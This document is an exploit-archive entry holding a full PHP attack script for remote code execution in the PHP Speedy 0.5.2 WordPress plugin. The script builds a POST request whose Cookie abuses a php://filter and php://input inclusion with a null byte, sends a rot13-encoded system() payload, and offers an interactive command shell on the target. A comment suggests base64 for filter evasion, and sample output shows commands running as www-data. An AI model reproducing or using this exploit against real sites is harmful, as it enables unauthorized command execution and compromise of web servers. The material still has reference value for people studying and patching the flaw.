WordPress Plugin PHP Speedy 0.5.2 - 'admin_container.php' Remote Code Execution

<?php
/*
php speedy <= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit
vendor: http://aciddrop.com/
-------------------------------
May the stars be aligned!
php.ini requirements: 
register_globals=On 
allow_url_include=On 
magic_quotes_gpc=Off
------------------------------
[mr_me@pluto php_speedy]$ php PoC.php -t 10.3.100.3:80 -d /webapps/wp/ -p 127.0.0.1:8080

-----------------------------------------------------------------------------------
php speedy <= 0.5.3 wordpress plugin (admin_container.php) Remote Code Exec Exploit
by mr_me - https://net-ninja.net/
-----------------------------------------------------------------------------------
(+) Setting the proxy to 127.0.0.1:8080

[email protected]# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[email protected]# uname -a
Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux

[email protected]# q
*/

print_r("
-----------------------------------------------------------------------------------
php speedy <= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit
by mr_me - https://net-ninja.net/
-----------------------------------------------------------------------------------
");

if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS
host:      target server (ip/hostname)
path:      directory path to wordpress
Options:
 -p[ip:port]: specify a proxy
Example:
php ".$argv[0]." -t 192.168.1.5 -d /wp/ -p 127.0.0.1:8080
php ".$argv[0]." -t 192.168.1.5 -d /wp/
-----------------------------------------------------------------------------
"); die; }

error_reporting(7);
ini_set("max_execution_time", 0);
ini_set("default_socket_timeout", 5);

$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";

function setArgs($argv){
    $_ARG = array();
    foreach ($argv as $arg){
        if (ereg("--([^=]+)=(.*)", $arg, $reg)){
            $_ARG[$reg[1]] = $reg[2];
        }elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){
            $_ARG[$reg[1]] = "true";
        }else {
            $_ARG["input"][] = $arg;
        }
    }
    return $_ARG;
}


$myArgs = setArgs($argv);
$host = $myArgs["input"]["1"];
$path = $myArgs["input"]["2"];

if (strpos($host, ":") == true){
    $hostAndPort = explode(":",$myArgs["input"][1]);
    $host = $hostAndPort[0];
    $port = (int)$hostAndPort[1];
}else{
    $port = 80;
}


if(strcmp($myArgs["p"],"true") === 0){
    $proxyAndPort = explode(":",$myArgs["input"][3]);
    $proxy = $proxyAndPort[0];
    $pport = $proxyAndPort[1];
    echo "(+) Setting the proxy to ".$proxy.":".$pport."\r\n";
}else{
    echo "(-) Warning, a proxy was not set\r\n";
}

// rgods sendpacketii() function
function sendpacket($packet){
    global $myArgs, $proxy, $host, $pport, $port, $html, $proxy_regex;
    if (strcmp($myArgs["p"],"true") != 0) {
        $ock = fsockopen(gethostbyname($host),$port);
        if (!$ock) {
            echo "(-) No response from ".$host.":".$port; die;
        }
    }
    else {
        $c = preg_match($proxy_regex,$proxy);
        if (!$c) {
            echo "(-) Not a valid proxy...\n"; die;
        }
        $ock=fsockopen($proxy,$pport);
        if (!$ock) {
            echo "(-) No response from proxy..."; die;
        }
    }
    fputs($ock,$packet);
    if ($proxy == "") {
        $html = "";
        while (!feof($ock)) {
            $html .= fgets($ock);
        }
    }else {
        $html = "";
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
            $html .= fread($ock,1);
        }
    }
    fclose($ock);
}

if (strcmp($myArgs["p"], "true") != 0) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}

function read(){
    $fp1 = fopen("/dev/stdin", "r");
    $input = fgets($fp1, 255);
    fclose($fp1);
    return $input;
}

while ($cmd != "q"){
echo "\n".get_current_user()."@".$host."# ";
$cmd = trim(read());

// maybe use base64 for better filter evasion 
$data = str_rot13("<?php eval(system(\"".$cmd."\")); ?>");
$packet = "POST ".$p."wp-content/plugins/php_speedy_wp/libs/php_speedy/view/admin_container.php HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Cookie: page=php://filter/read=string.rot13/resource=php://input%00\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data;

if ($cmd != "q"){
    sendpacket($packet);
    $temp = explode("Parse error",$html);
    $______finalresponse = explode("/></a>", $temp[0]);
    echo trim($______finalresponse[1])."\r\n";
    }
}
?>